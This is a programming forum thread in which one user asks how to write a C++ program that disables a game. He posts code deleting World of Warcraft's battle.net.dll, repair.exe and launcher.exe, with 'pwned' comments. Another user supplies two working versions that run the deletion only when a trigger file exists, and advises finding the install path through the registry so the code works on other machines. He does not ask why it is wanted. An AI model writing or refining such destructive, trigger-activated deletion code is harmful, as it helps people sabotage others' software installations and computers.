Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


A simple question. filter_list
Author
Message
A simple question. #1
Just wondering if this would be possible in C++ or if VB was better for it. Say, I have a game where there is a specific .dll in the games directory that it needed to run, and it has a repair application. What I was wondering is would it be possible that when a file with the specific name was added to that directory the program would either remove the .dll and the repair program or corrupt them and make them not able to be run. Would something along these lines be possible?
(This post was last modified: 07-30-2011, 06:49 AM by Luckyme.)
[Image: backspacez1.png]

Reply

RE: A simple question. #2
Of course it would, C++ is general purpose language, meaning you can do almost anything with it, unless it defies capabilities of the hardware (for example, unless you have a jet engine connected to some interface, C/C++ or any other code won't be able to make your PC fly :lol: ).

Some things might be extremely tedious to achieve, but still technically possible, however what you mentioned shouldn't be a problem at all.
I love creativity and creating, I love science and rational thought, I am an open atheist and avid self-learner.

Reply

RE: A simple question. #3
(08-03-2011, 11:53 AM)Frooxius Wrote: Of course it would, C++ is general purpose language, meaning you can do almost anything with it, unless it defies capabilities of the hardware (for example, unless you have a jet engine connected to some interface, C/C++ or any other code won't be able to make your PC fly :lol: ).

Some things might be extremely tedious to achieve, but still technically possible, however what you mentioned shouldn't be a problem at all.

Yeah, I made it. Here is the code:
Code:
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\Program Files (x86)\\World of Warcraft\\battle.net.dll"); //pwned
    std::remove("C:\\Program Files (x86)\\World of Warcraft\\repair.exe"); //lol pwned
    std::remove("C:\\Program Files (x86)\\World of Warcraft\\launcher.exe"); //PWNAGE TIME
    return EXIT_SUCCESS;
}

How would I made it where this would only occur if a certain file was there?
[Image: backspacez1.png]

Reply

RE: A simple question. #4
You simply add an condition, that checks for the existence of the file. You can do that by trying to open the file using standard C/C++ library and checking if it fails, like this:

Version that uses new C++ object oriented libraries.
Code:
// #include <cstdlib> shouldn't be needed, remove should already be included using <iostream>
#include <iostream>
#include <fstream>

using namespace std; // when you write this, you don't have to write std:: before every function (or other identifiers), because this makes it implicit

int main(int argc, char *argv[])
{
    ifstream file = ifstream("filename.ext");    // try to open the file
    if(file)    // if file was opened sucessfully, this condition will be true and code in the brackets will be executed, otherwise, it will be skipped
    {
        remove("C:\\Program Files (x86)\\World of Warcraft\\battle.net.dll"); //pwned
        remove("C:\\Program Files (x86)\\World of Warcraft\\repair.exe"); //lol pwned
        remove("C:\\Program Files (x86)\\World of Warcraft\\launcher.exe"); //PWNAGE TIME

        file.close();    // don't forget to close it after you open it
    }
    return EXIT_SUCCESS;
}

Version that uses C-like libraries, but it's still C++, but can be converted to standard C easily (swap <cstdlib> for <stdlib.h> and <cstdio> for <stdio.h> and remove the using namespace declaration)
Code:
#include <cstdlib>
#include <cstdio>

using namespace std; // when you write this, you don't have to write std:: before every function (or other identifiers), because this makes it implicit

int main(int argc, char *argv[])
{
    FILE *file = fopen("filename.ext", "r");    // try to open the file for reading (the "r"), using the input file stream (ifstream)
    if(file)    // if file was opened sucessfully, this condition will be true and code in the brackets will be executed, otherwise, it will be skipped
    {
        remove("C:\\Program Files (x86)\\World of Warcraft\\battle.net.dll"); //pwned
        remove("C:\\Program Files (x86)\\World of Warcraft\\repair.exe"); //lol pwned
        remove("C:\\Program Files (x86)\\World of Warcraft\\launcher.exe"); //PWNAGE TIME

        fclose(file);    // don't forget to close it after you open it
    }
    return EXIT_SUCCESS;
}

There are also functions (in various libraries and APIs) that are specifically designed for checking if file exists, however these are not part of standard C/C++ library and thus might not work everywhere and are often operating system specific (though you're obviously running on Windows).

Also, it's discouraged to use absolute paths (rather find the path to the specific application (or game in your case) for example by retrieving data from the registry), because if the files are located elsewhere, your code won't work.
I love creativity and creating, I love science and rational thought, I am an open atheist and avid self-learner.

Reply







Users browsing this thread: 1 Guest(s)